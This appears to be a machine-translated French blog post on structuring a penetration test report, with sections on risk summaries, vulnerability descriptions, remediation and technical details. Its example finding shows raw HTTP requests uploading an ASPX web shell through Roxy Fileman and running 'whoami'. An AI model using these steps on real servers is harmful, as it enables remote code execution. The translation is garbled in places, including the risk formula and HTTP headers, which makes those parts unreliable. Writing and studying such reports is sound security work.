À quoi devrait ressembler un bon rapport de test de pénétration?

Pentester expérimenté, sait que le rapport bien écrit se caractérise par le fait qu’après sa présentation, le client n’a pas de questions supplémentaires. Pour ce faire, il devrait comporter au moins quatre sections de base contenant des informations destinées à différents publics.

Section 1: Informations et statistiques générales

Alors qu’un programmeur conçu pour corriger les erreurs peut avoir besoin de tous les détails techniques, la direction peut ne pas comprendre la technologie utilisée et le vocabulaire spécialisé. Ils doivent plutôt comprendre les risques commerciaux. Il est impératif que les chefs d’entreprise comprennent ce que le jeu est en cours pour prendre des décisions éclairées pour leurs entreprises. Un résumé accessible de l’information contenue dans l’ensemble du rapport est essentiel pour s’assurer que les risques existants sont bien compris. En outre, la première section devrait fournir des informations formelles, c’est-à-dire des informations sur ce qui a été testé et avec quelles autorisations, quand il a été testé, qui a participé aux tests, sur la commande de qui les tests ont été effectués. La figure ci-dessous présente un exemple de tableaux contenant ces informations.

Application testéeSXXX dXXX http://XXXXX
Rôles testésadministrateur, utilisateur
Date des tests30.10.2017 – 13.12.2017
Lieu d’essaiWroclaw (à distance)
DirecteurMarcinXXXXX
Tester et auteur du rapportMichael Kędzior (en)
Version documentaire1.0 (15.12.2017)

La communication visuelle peut également aider à transmettre clairement les failles de sécurité détectées. Utilisez toutes sortes de graphiques et d’éléments graphiques similaires pour aider à la visualisation des données globales.


Lors de l’évaluation des risques, il convient de suivre la formule suivante:

risque = risque * probabilité de se produire * impact sur l’entreprise.

Où par menace on entend le risque général associé à une vulnérabilité donnée. La probabilité de se produire indique à quel point une faille de sécurité est utilisée. L’impact sur l’entreprise détermine les pertes liées à l’utilisation d’une erreur par un attaquant. Le graphique ci-dessous présente un tableau utile pour évaluer les risques des données de vulnérabilité. Par exemple, si la menace est élevée – High et la vulnérabilité est très facile à utiliser (vulnerability) – C et l’impact sur les entreprises (impact) est moyen – Moyen, nous obtenons sommairement 24 points ce qui signifie que la vulnérabilité donnée a un risque moyen. Le dessin suivant montre comment visualiser la quantité de vulnérabilités détectées.

comment visualiser la quantité de vulnérabilités détectées
comment visualiser la quantité de vulnérabilités détectées

comment visualiser la quantité de vulnérabilités détectées

Sur la base de l’évaluation des risques effectuée, le destinataire du rapport doit d’abord corriger les erreurs les plus critiques. Ils représentent la plus grande menace pour les entreprises et peuvent entraîner des pertes financières élevées.


Section 2: Description des vulnérabilités détectées

La plupart des rapports de tests pénétrateurs utilisent une sorte de système d’évaluation des risques, mais on prend rarement le temps d’expliquer en quoi consiste le risque lié à la vulnérabilité. Le client doit prendre des décisions rapides et judicieuses sur les mesures à prendre après avoir été informé des failles de sécurité existantes. Cela implique souvent la nécessité d’un budget supplémentaire qui nécessite l’approbation de personnes non techniques occupant des postes de direction.


Afin de faciliter la prise de décisions difficiles, il convient de décrire les vulnérabilités détectées d’une manière qui démontre l’impact sur les entreprises. Par exemple, si une vulnérabilité critique est détectée pour transférer n’importe quel fichier vers un portail de soins de santé, il existe deux façons de le signaler :

  • Techniquement précis – L’application Web de X ne limite pas le transfert de fichiers par type, créant une vulnérabilité qui permet à un attaquant d’exécuter du code à distance et d’élever le niveau de ses privilèges dans l’application.
  • À la fois précis et contextuel – L’application Web de X ne limite pas le transfert de fichiers par type de fichier, ce qui crée une vulnérabilité qui permet à un attaquant d’exécuter à distance du code indésirable et d’élever le niveau de ses privilèges dans l’application. Dans ce cas, un attaquant peut afficher les dossiers médicaux de n’importe quel utilisateur et agir en tant qu’administrateur dans l’application.

La deuxième voie a plus de poids, soulignant non seulement les aspects techniques, mais aussi l’impact sur les entreprises. Les rapports les plus précieux sont ceux qui s’adressent à tous les auditoires dans une langue que les personnes, en particulier dans les postes de direction, comprennent.

Section 3: Recommandations de réparation

L’une des choses les plus importantes qui intéressent le client qui fait effectuer les tests de pénétration est la réparation ultérieure des failles de sécurité détectées. Pour que cela soit possible, on s’attend à ce que le testeur de pénétration, en plus de décrire les vulnérabilités détectées, indique également comment réparer ou mythifier les risques liés aux erreurs détectées. Cette section s’adresse principalement aux personnes ayant une formation technique, directement impliquées dans le code d’application, la configuration du serveur ou la base de données. Il est utile d’ajouter ici des références supplémentaires à des sources externes décrivant les moyens de corriger les failles de sécurité constatées. La figure suivante présente une erreur d’affichage d’informations sensibles détaillées. Ces données contiennent souvent des informations techniques, des classes, des méthodes qui ont déclenché l’erreur, la version exacte du serveur ou les chemins d’accès système des applications et des fichiers de configuration.

erreur d’affichage d’informations sensibles détaillées

Voici un exemple de recommandation concernant une erreur d’affichage d’informations détaillées sur une erreur.

exemple de recommandation d’erreur consistant à afficher des informations détaillées sur l’erreur


Section 4: Détails techniques de vulnérabilité

La dernière section doit contenir les détails techniques des vulnérabilités trouvées. Elle est particulièrement utile aux développeurs pour comprendre ce qu’est une erreur et comment reconstruire les étapes nécessaires à sa réalisation. Cela est particulièrement utile lorsqu’il est nécessaire de localiser la source du problème et de vérifier ultérieurement l’efficacité de la réparation.

Voici un exemple de description technique détaillée de la vulnérabilité de la possibilité de téléchargement de n’importe quel fichier sur un serveur.


Sur le serveur à l’adresse serveur/Content/Roxy_Fileman/, un navigateur de fichiers permet également aux utilisateurs connectés disposant des autorisations appropriées (compte administrateur testé) de les télécharger (y compris les scripts exécutant des commandes sur le système):

un navigateur de fichiers permettant aux utilisateurs connectés avec les autorisations appropriées (compte d’administrateur testé) de les télécharger également (y compris les scripts exécutant des commandes sur le système)

Demande de téléchargement sur le serveur de script exécutant des commandes sur le système :


POST /Admin/RoxyFileman/ProcessRequest?a=UPLOAD HTTP/1.1
Host: XXXXX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml,application/htm;q=0.9,*/*;q=0.8
Accept-Language: en-US,fr;q=0.5
Accept-Encoding: gzip,
Deflate Referer: cookie
http://XXXXX/Content/Roxy_Fileman/: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69; XXXXX=AFD96B4B580D29A3CDFC11265B5B4C4A942D164F2
Connexion: close
Cache-Control: max-age=0
Content-Type: multipart/form-data;
boundary----------------------------13949612691104534433104770617 Content-Length: 1861
-----------------------------13949612691104534433104770617
Content-Disposition: form-data; name="action »
upload -----------------------------13949612691104534433104770617

Content-Disposition: form-data; name-« d »
-----------------------------13949612691104534433104770617
Content-Disposition: form-data; name-« files[] »; filename="cmdasp.aspx »
Content-Type: application/octet-stream
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>


Réponse du serveur avec réponse sur le succès du script :

POST /Admin/RoxyFileman/ProcessRequest?a=UPLOAD HTTP/1.1
Host: XXXXX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset-utf-8
Server: Microsoft-IIS/10.0
X-AspNetMvc-Version: 5.1
X-AspNet-Version: 4.0.30319
Set-Cookie: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69; expires-Fri, 09-Nov-2018 16:53:07 GMT; path-/; Http-Only
X-Powered-By: ASP.NET
Date: Thu, 09 Nov 2017 16:53:07 GMT
Connexion: close
Content-Length: 60

Vous pouvez faire référence à la ressource téléchargée sans autorisation à l’adresse serveur/media/uploaded/nom du fichiers

Demande au serveur avec commande à exécuter – whoami affichant l’utilisateur actuel du système:


POST /media/uploaded/cmdasp.aspx HTTP/1.1
Hôte: XXXXX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml,application/htm;q=0.9,//q=0.8 Accept-Language: en-US,fr;q=0.5
Accept-Encoding: gzip, Deflate
Referer: cookie
http://XXXXX/media/uploaded/cmdasp.aspx: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69;
XXXXX=AFD96B4B580D29A3CDFC11265B5B4C4A942D164F2D
Connexion: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 290
[...]
EVENTVALIDATION=%2FwEdAANRWJmrTmf23QBZNDbQYsx5itssAmaVIY7AayhB9duwcnk2J
DuMxrvKtMBUSvskgfELw WmgNGW8Lr4a8NezI%2FkHrIsB
%2FLodYxPpo9ud%2FbHu4w%3D%txtArg

Réponse du serveur confirmant l’exécution de la commande :

Réponse du serveur confirmant l’exécution de la commande

Le mécanisme de téléchargement des fichiers a été identifié aux adresses suivantes:

  • /Admin/Prés/InvoiceEdit
  • /Admin/Prévôt/InvoiceElementList
  • /Admin/Newsletter/GroupSubscriptionsList
  • /Admin/Newsletter/SubscriptionList
  • /Content/Roxy_Fileman/index.html



Il ne sera jamais tout à fait réussi à éliminer les failles de sécurité. Ils apparaissent à la fois dans les produits Microsoft, malgré la mise en œuvre du processus Security Development Lifecycle (qui fait partie de différents types de tests de sécurité et d’audit du code source) et dans le noyau Linux.Ils peuvent être trouvés à la fois dans les projets à source ouverte et ceux où le code est fermé. Une signalement important est que l’absence de détection de vulnérabilité lors des tests de pénétration n’est pas concluante dans le fait qu’ils ne s’y trouvent pas. Cela signifie simplement qu’en temps limité et en utilisant des moyens, des connaissances et de l’expérience spécifiques, pentester n’a pas pu les trouver. Néanmoins, en examinant les résultats des tests de pénétration, on peut tirer des conclusions sur la qualité des applications ou, plus important encore, sur les erreurs constatées pour déterminer les risques qu’elles comportent.

Chcesz wiedzieć więcej?

Zapisz się i bądź informowany o nowych postach.

Nigdy nie podam, nie wymienię ani nie sprzedam Twojego adresu e-mail. W każdej chwili możesz zrezygnować z subskrypcji.

Pour marque-pages : Permaliens.

Podziel się swoją opinią na temat artykułu